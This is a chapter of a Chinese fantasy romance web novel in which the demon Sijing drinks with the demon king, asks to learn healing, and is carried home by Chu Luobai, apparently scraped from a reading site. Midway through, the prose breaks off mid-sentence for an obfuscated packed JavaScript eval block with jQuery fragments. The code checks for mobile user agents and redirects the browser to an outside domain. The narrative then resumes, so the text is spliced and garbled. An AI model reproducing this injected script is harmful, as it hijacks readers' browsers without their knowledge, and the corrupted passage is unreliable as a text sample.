54. 第五章
作品:《手撕白月光剧本后神君黑化了》 地界,妖域,草心斋。
暖烛摇曳,映着肆景与妖王对酌的身影。
案上酒坛已空了大半,馥郁的酒香于空中弥漫。
肆景半伏在案上,面颊酡红,眼波迷离,把玩着瓷杯,发出细碎的磕碰声。一旁的妖王,眼底也染上了一层薄醉。
“话说那日,”妖王轻晃着杯中酒液道,“你同洛白上神‘修身养性’,可有发生什么趣事?”
肆景朦胧抬眼:“我们发生了什么…你当真不知道?”
“我怎会知道?”
“就那什么识海四景啊,你没看吗?”
妖王动作一顿,放下酒杯:“早些你我不相识,从四境窥你言行,尚能心安理得。如今我们相识相知,再窥探,有亏于德行,非君子所为,亦非友人之道。”
肆景怔住,像被什么东西刺了一下,猛地灌了一口酒。
“你一定要这么…好吗?”她低着头闷声道,“就不能,稍微坏一点,这样就可以显得我不那么…那么…”
向来伶牙俐齿的她,头一回,词穷了。
妖王轻轻喟叹,倾身向前:“莫要苛责自己,”温软的手掌落在肆景发顶,“你很好。”
“真的?”肆景仰起脸,追问:“有多好?”
“好到即使肆意妄为,从心所欲,你的所言所行,所念所图,亦可堪称为善。”
是吗?
她能被成为“善”吗?
善恶的界限究竟该如何划分,事到如今,她也搞不清楚了。
肆景垂下眼帘,避开了妖王的目光,仰头将杯中酒液一饮而尽。
“说到识海四景,”妖王体贴地转移了话题,“你近日修行进程如何?可能步入识海,观四纪之景了?”
肆景放下酒杯,含糊应道:“近日事务繁忙,有所懈怠。”
妖王失笑:“连借口都懒得寻个新的,你这着实有些过于敷衍了。”
“其实…”肆景忽地坐直了身子,眼神透着几分认真,“比起观四景,我更想学些别的。”
妖王有些讶异,随即化作欣慰:“难得你有心向学。说吧,想学什么?”
“想学…”
猩红之色刺入脑海,她再度想起来了刘肆景血流不止的样子,以及束手无策的自己。
那份无能带来的挫败与痛苦,此生,她再不想经历第二次!
“想学能医人的法术。”肆景定定看着妖王,“能救人性命的那种。”
妖王目光落下,望着她下意识蜷着的手,眸中闪过了然与怜惜。
未再多问,她起身从一旁书架抽出一卷轴,递到肆景面前。
“天医正法,玄奥艰深,非朝夕可成。不如精研药草之道,以草木治人。毕竟,引天地灵萃,化育生机,才是我们四叶灵萍擅长的事。”妖王娓娓道。
“多谢妖王!”
肆景欢喜接过,将其小心拢入衣袖中。
脸上绽放出纯粹的笑容,她双手捧起酒杯:“这杯,我敬你!”
酒过不知几巡,肆景终于支撑不住,头一歪,伏在案上沉沉睡去。
妖王端坐如初,慢条斯理地品着残酒,不见一丝醉态。
安谧的氛围,被一道欣长的身影打破。
来者悄然无声,沉郁的墨色取代了往日清冷的素白,周身萦绕着收敛却不容忽视的魔息。
是褚洛白,天元来的那位。
“你是来接魔尊的?”妖王抬眼,似乎对他的到来毫不意外。
褚洛白微微颔首:“叨扰了。”
语罢,他径直走向肆景,动作轻缓地将她打横抱起。
似是感到了熟悉的气息与温度,肆景在他怀中蹭了蹭,寻了个更舒适的位置,又睡了过去。
他转身欲走,妖王忽又再度开口。
“洛白上…”她顿了顿,改口道:“洛白魔君。”
褚洛白停下脚步,回首望向她。
“如你所见,”妖王端着酒杯,目光似能穿透人心,“我体内并无神识。”
褚洛白沉默一瞬,答:“我知道。”
妖王欣然一笑:“我可否理解为,这便是你甘愿堕魔的原因之一?”
抱着肆景的手臂收紧了些。
“我成魔,”褚洛白的目光落在怀中人的睡颜上,“并不全为了阿景。”
“那…”妖王的目光在他与肆景间流转,“是为了肆景吗?”
褚洛白没有回答。
夜风穿堂而过,拂动起玄色衣袂。
他简单行礼,带着肆景消失在了夜色中。
-
魔域,肆景寝殿。
褚洛白小心翼翼地将怀中人放在床榻上,拉过一旁的锦被,仔细盖好。
手指拂开她散落颊边的随发,目光在恬静的睡颜上驻留,许久,才缓缓直起身。
就在他转身之际,一只小手突然从被下探出,攥住了他垂落在床沿的衣袖。
褚洛白回身。
只见榻上之人,不知何时已睁开了眼睛。那双明亮的眸子,闪烁着,全无半分昏沉。
“褚洛白,”她看着他,问,“你究竟因何舍弃了神心?”
“这个答案,”他覆上她的手,“你猜到过。”
肆景扯了扯嘴角:“那是一时失言,我自己都不信。”
“为何?”
“我不信神女记忆中,那个心怀三界,誓要涤清世间之恶的上神,会仅仅因为私情,弃苍生于不顾。”
褚洛白沉默,眸中似有波澜涌动。
良久,他俯身,于榻边坐下,缓缓道:“当时年少,思虑浅薄,那些豪言壮语,皆是轻狂之言。”
他自嘲地牵了牵嘴角:“修身,方能齐家治国平天下。而今我连自身本心都难明澈,又何来信心,妄想担起守护三界苍生之责?”
“这便是…庸元天君说的,你的困境?”
褚洛白颔首:“从前,我忧惧神心受魔侵蚀,故而竭力抗拒,终日挣扎于失控边缘。幸得天君一语点化。他问我,何不遵从本心,暂且纵容那魔念,放手一搏?且看两心交锋,最终会导向何种结果。是沉沦,抑或,重生?”
肆景撇了撇嘴:“你们神仙说话总这般云山雾绕,真难为我这个魔。”
褚洛白轻笑,伸手拂过她微烫的脸颊:“好,那属下便说些尊上能听得懂的。”
“我舍弃神心,还有一个理由,那便是…”指尖在她肌肤上流连,最终停在了唇边。
他凑近她,低声道:“我希望,能看懂你。”
“看懂…魔女肆景?”
“看懂魔女肆景。”
肆景觉得自己大抵是真有些醉了。
又或许是因为,他此刻穿着玄衣,衬得眉目愈发深邃,比那一身拒人千里的素白,顺眼多了,也亲近多了。以至于,当心再度因他高高荡起秋千,不受控地悦然怦动时,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366849|177140||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她竟没有之前那般抵触了。
一抹隐秘的甜意,带着暖流,自心底荡漾而开。
她展颜一笑,朝他勾了勾手指。
褚洛白顺从靠近。
一个轻柔的吻,带着酒气与香甜,落在他的脸颊上。
“你说的话很是中听,”肆景退开些许,眼中带着得逞的狡黠,“这是本尊赏你的。”
褚洛白瞳孔微震,被她触碰过的地方似是燃起了一簇火苗,以惊人的迅速蔓延,席卷着四肢百骸。
喉结剧烈滚动,眸色骤然转深。
体内那沉静的魔气已被她唤醒。
目光锁定在眼前的红唇上,他的身体不由自主地倾近,带着灼热的气息,想将这个浅尝辄止的吻变得深入而缠绵。
他想要更多…
然而,就在他即将攫取那片芳泽时,肆景倏然转身,以一个决绝的背影,浇熄了他滚烫的期盼。
“好了,本尊要睡了,你可以退下了。”
褚洛白的动作僵在半途,眸中翻涌的暗潮被迫冻结,几经平复,化为了无奈的浅笑。
一声幽怨的叹息,自背后传来。
褚洛白为她掖好被角,退出了寝殿。
他前脚刚走,榻上的人忽地睁开了眼睛。眼底片清明,毫无半分睡意。
翻身坐起,盘膝结印,在一套行云流水的动作后,肆景缓缓阖上了双眼。
呼吸渐沉,仿佛与周遭融为一体,她的意识如游鱼般滑入识海深处。
是的,她骗了妖王。
自来到厄元,她一日都未懈怠过,甚至从未如此勤勉过。
如今,她不仅能观得四境,连阿景神识的具体所在,都已寻得。
肆景跃下叶瓣,来到浮萍下的水域。
水波流传,色泽幽深如墨玉,这应是魔识本源原有的姿态。然而,她的识源,却夹杂着缕缕圣洁皓光。
那,便是阿景丢入她体内的神识。
皓光如挣扎的星辰,试图刺破黑暗,与墨流碰撞交汇,却始终难以全然相融。
正如,她与阿景。
虽言行思想皆深受神识影响,但至少,目前为止,她尚能依稀分辨其来源,哪些是来源于自己,哪些来自对方。
只是每当她受善念感召,欲行善举时,那皓光的比例便会多出一分。如今,皓光与墨流的占比,几乎已是对半。
指尖点入水域,水面层层漾开,映现出阿景的记忆。
答应嫁给褚洛白时,她的欣喜是由衷的。而随后骤变的表情背后暗含了怎样的情绪,现已明了。
是心虚,以及愧疚。
这个神女,有事瞒着褚洛白。
至于是何事,仍是未知。或许,只有待解锁全部记忆,与其彻底融为一体时,方能知晓真相全貌。
那一日,终会到来吗?
肆景的视线停留在他们相拥的画面上。
那份挚诚的爱意,如同涓涓细流,在她心中荡开圈圈涟漪。
她好像可以理解,神女阿景为何会喜欢褚洛白了。
就在她沉浸在这份心动中,几乎要接受,那个与褚洛白相拥之人,也可以是自己时,浮萍上方传来了妖王的声音:
“玄离,你作何解释?”
是水镜!
它将妖王那边的情形同步传来了。
不是说猫妖一脉早已绝迹?
这“玄离”,又是从何而来?